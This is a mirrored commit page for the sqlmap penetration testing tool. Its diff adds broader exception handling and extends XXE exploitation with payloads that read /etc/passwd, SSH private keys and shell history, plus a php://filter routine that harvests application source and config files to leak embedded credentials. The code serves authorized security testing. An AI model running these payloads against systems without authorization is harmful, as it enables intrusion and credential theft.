mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-07-10 10:33:09 +00:00
Minor update
This commit is contained in:
parent
3bab3cd795
commit
6597415ab0
5 changed files with 121 additions and 17 deletions
|
|
@ -1283,7 +1283,9 @@ def checkDynamicContent(firstPage, secondPage):
|
|||
seqMatcher.set_seq1(firstPage)
|
||||
seqMatcher.set_seq2(secondPage)
|
||||
ratio = seqMatcher.quick_ratio()
|
||||
except MemoryError:
|
||||
except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
|
||||
# difflib can fail on pathological input or, rarely, with interpreter-level
|
||||
# errors under heavy threading; degrade to "undetermined" instead of crashing
|
||||
ratio = None
|
||||
|
||||
if ratio is None:
|
||||
|
|
|
|||
|
|
@ -2344,9 +2344,14 @@ def showStaticWords(firstPage, secondPage, minLength=3):
|
|||
infoMsg = "static words: "
|
||||
|
||||
if firstPage and secondPage:
|
||||
match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage))
|
||||
commonText = firstPage[match[0]:match[0] + match[2]]
|
||||
commonWords = getPageWordSet(commonText)
|
||||
try:
|
||||
match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage))
|
||||
commonText = firstPage[match[0]:match[0] + match[2]]
|
||||
commonWords = getPageWordSet(commonText)
|
||||
except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
|
||||
# difflib can fail on pathological input / interpreter-level hiccups; skip
|
||||
# the static-word hint rather than abort (see findDynamicContent / comparison.py)
|
||||
commonWords = None
|
||||
else:
|
||||
commonWords = None
|
||||
|
||||
|
|
@ -3363,7 +3368,14 @@ def findDynamicContent(firstPage, secondPage, merge=False):
|
|||
infoMsg = "searching for dynamic content"
|
||||
singleTimeLogMessage(infoMsg)
|
||||
|
||||
blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks())
|
||||
try:
|
||||
blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks())
|
||||
except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
|
||||
# difflib can blow up on pathological/oversized input (and, rarely, with
|
||||
# interpreter-level errors under heavy threading); a failed dynamic-content
|
||||
# search must degrade gracefully rather than abort the whole scan - mirrors the
|
||||
# guard around the ratio computation in lib/request/comparison.py
|
||||
return
|
||||
|
||||
if not merge:
|
||||
kb.dynamicMarkings = []
|
||||
|
|
|
|||
|
|
@ -20,7 +20,7 @@ from lib.core.enums import OS
|
|||
from thirdparty import six
|
||||
|
||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||
VERSION = "1.10.7.29"
|
||||
VERSION = "1.10.7.30"
|
||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||
|
|
@ -1123,12 +1123,13 @@ XXE_IMPACT_FILES = (
|
|||
|
||||
# Once an in-band XXE file-read primitive is CONFIRMED, sqlmap proactively harvests
|
||||
# this curated set of high-value, fixed-path files (host identity, process env/
|
||||
# secrets, key material) - the XXE analogue of the automatic dumping the other
|
||||
# non-SQL engines perform. Kept small and high-signal (each entry costs 1-2 requests);
|
||||
# best-effort, so unreadable/absent files are silently skipped. Unlike XXE_IMPACT_FILES
|
||||
# (a benign PRE-confirmation impact probe that avoids WAF-honeypot paths) this runs
|
||||
# only AFTER confirmation, so sensitive paths are appropriate. Skipped when the user
|
||||
# gave an explicit '--file-read' (that targeted request is honoured verbatim instead).
|
||||
# secrets, key material, common application drop paths) - the XXE analogue of the
|
||||
# automatic dumping the other non-SQL engines perform. Kept small and high-signal (each
|
||||
# entry costs 1-2 requests); best-effort, so unreadable/absent files are silently
|
||||
# skipped. Unlike XXE_IMPACT_FILES (a benign PRE-confirmation impact probe that avoids
|
||||
# WAF-honeypot paths) this runs only AFTER confirmation, so sensitive paths are
|
||||
# appropriate. Skipped when the user gave an explicit '--file-read' (that targeted
|
||||
# request is honoured verbatim instead).
|
||||
XXE_FILE_HARVEST = (
|
||||
"/etc/passwd",
|
||||
"/etc/hostname",
|
||||
|
|
@ -1142,11 +1143,25 @@ XXE_FILE_HARVEST = (
|
|||
"/proc/version",
|
||||
"/root/.bash_history",
|
||||
"/root/.ssh/id_rsa",
|
||||
"/flag",
|
||||
"/flag.txt",
|
||||
"c:/windows/win.ini",
|
||||
"c:/windows/system32/drivers/etc/hosts",
|
||||
"c:/inetpub/wwwroot/web.config",
|
||||
)
|
||||
|
||||
# Application web roots + source filenames used, once php://filter is available, to
|
||||
# disclose server-side SOURCE code (which is executed and never rendered, yet leaks its
|
||||
# literals - credentials, tokens, embedded secrets - verbatim through the base64 filter
|
||||
# wrapper). Combined with the running script derived from harvested /proc/self/{cmdline,
|
||||
# environ}. Best-effort and bounded.
|
||||
XXE_WEBROOTS = ("/var/www/html", "/var/www", "/app", "/usr/src/app", "/srv/app")
|
||||
XXE_SOURCE_NAMES = (
|
||||
"index.php", "config.php", "config.inc.php", "secret.php",
|
||||
"db.php", "database.php", "settings.php", "init.php", "functions.php",
|
||||
"app.py", "server.py", "main.py", "wp-config.php", ".env",
|
||||
)
|
||||
|
||||
# GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE:
|
||||
# an on-disk DTD is loaded, one of its parameter entities is redefined to smuggle
|
||||
# an error/exfil primitive, so no outbound network is needed. (path, entity_name).
|
||||
|
|
|
|||
|
|
@ -29,6 +29,8 @@ from lib.core.settings import XXE_ERROR_SIGNATURES
|
|||
from lib.core.settings import XXE_FILE_HARVEST
|
||||
from lib.core.settings import XXE_HARDENED_REGEX
|
||||
from lib.core.settings import XXE_IMPACT_FILES
|
||||
from lib.core.settings import XXE_SOURCE_NAMES
|
||||
from lib.core.settings import XXE_WEBROOTS
|
||||
from lib.core.settings import OOB_POLL_ATTEMPTS
|
||||
from lib.core.settings import OOB_POLL_DELAY
|
||||
from lib.core.settings import XXE_LOCAL_DTDS
|
||||
|
|
@ -276,6 +278,77 @@ def _harvestFiles(xml, rootName):
|
|||
return harvested
|
||||
|
||||
|
||||
def _phpFilterWorks(xml, rootName):
|
||||
"""One probe: can the target read a file via php://filter (i.e. is it PHP)? Gates
|
||||
the PHP-only source-code sweep so a non-PHP target does not pay dozens of pointless
|
||||
requests for it."""
|
||||
|
||||
from lib.core.convert import decodeBase64
|
||||
|
||||
m1, m2 = randomStr(8, lowercase=True), randomStr(8, lowercase=True)
|
||||
ent = randomStr(8, lowercase=True)
|
||||
subset = '<!ENTITY %s SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">' % ent
|
||||
payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2))
|
||||
match = re.search(re.escape(m1) + r"(.*?)" + re.escape(m2), getUnicode(_send(payload)), re.DOTALL)
|
||||
if match and match.group(1).strip():
|
||||
try:
|
||||
return bool(getText(decodeBase64(match.group(1).strip())).strip())
|
||||
except Exception:
|
||||
pass
|
||||
return False
|
||||
|
||||
|
||||
def _harvestSource(xml, rootName, harvested):
|
||||
"""PHP-only follow-up run once an in-band read primitive is confirmed: disclose
|
||||
server-side application SOURCE code via php://filter (source is executed, never
|
||||
rendered, yet its literals - credentials, tokens, embedded secrets - leak verbatim).
|
||||
Candidate paths are derived from the already-harvested /proc/self/{cmdline,environ}
|
||||
(running script + working dir) combined with common web roots/source names, and
|
||||
de-duplicated against the host harvest by content. Skipped entirely on a non-PHP
|
||||
target. Returns a list of (path, content, payload)."""
|
||||
|
||||
if not _phpFilterWorks(xml, rootName):
|
||||
return []
|
||||
|
||||
byPath = dict((p, c) for p, c, _ in harvested)
|
||||
seen = set(getUnicode(c).strip() for c in byPath.values())
|
||||
candidates = []
|
||||
|
||||
dirs = []
|
||||
environ = getUnicode(byPath.get("/proc/self/environ", ""))
|
||||
match = re.search(r"(?:^|\x00)PWD=([^\x00]+)", environ)
|
||||
cwd = match.group(1).strip() if match else None
|
||||
if cwd:
|
||||
dirs.append(cwd)
|
||||
dirs += [_ for _ in XXE_WEBROOTS if _ != cwd]
|
||||
|
||||
cmdline = getUnicode(byPath.get("/proc/self/cmdline", ""))
|
||||
for token in re.split(r"[\x00\s]+", cmdline):
|
||||
if token and re.search(r"\.(?:php|py|rb|js|jsp|pl|cgi)$", token, re.I):
|
||||
if token.startswith("/"):
|
||||
candidates.append(token) # absolute script path
|
||||
elif cwd:
|
||||
candidates.append("%s/%s" % (cwd.rstrip("/"), token))
|
||||
|
||||
for directory in dirs:
|
||||
for name in XXE_SOURCE_NAMES:
|
||||
candidates.append("%s/%s" % (directory.rstrip("/"), name))
|
||||
|
||||
logger.info("attempting application source-code disclosure via php://filter")
|
||||
|
||||
result = []
|
||||
read = set()
|
||||
for path in candidates:
|
||||
if path in read:
|
||||
continue
|
||||
read.add(path)
|
||||
content, payload = _tryInbandFileRead(xml, rootName, path)
|
||||
if content and content.strip() and getUnicode(content).strip() not in seen:
|
||||
seen.add(getUnicode(content).strip())
|
||||
result.append((path, content, payload))
|
||||
return result
|
||||
|
||||
|
||||
def _tryInternal(xml, rootName, baseline):
|
||||
"""T2 in-band: an internal general entity expands to the sentinel and is
|
||||
reflected. Guarded by a negative control (sentinel absent from baseline) and
|
||||
|
|
@ -716,7 +789,9 @@ def xxeScan():
|
|||
if harvested:
|
||||
found = True
|
||||
firstPath, _, firstPayload = harvested[0]
|
||||
logger.info("in-band XXE file-read impact confirmed; harvested %d high-value file(s)" % len(harvested))
|
||||
# follow-up: server-side application source disclosure (php://filter)
|
||||
harvested += _harvestSource(xml, rootName, harvested)
|
||||
logger.info("in-band XXE file-read impact confirmed; harvested %d file(s)" % len(harvested))
|
||||
_report("In-band file read (auto-harvest, e.g. '%s')" % firstPath, firstPayload)
|
||||
saved = []
|
||||
for path, content, _ in harvested:
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue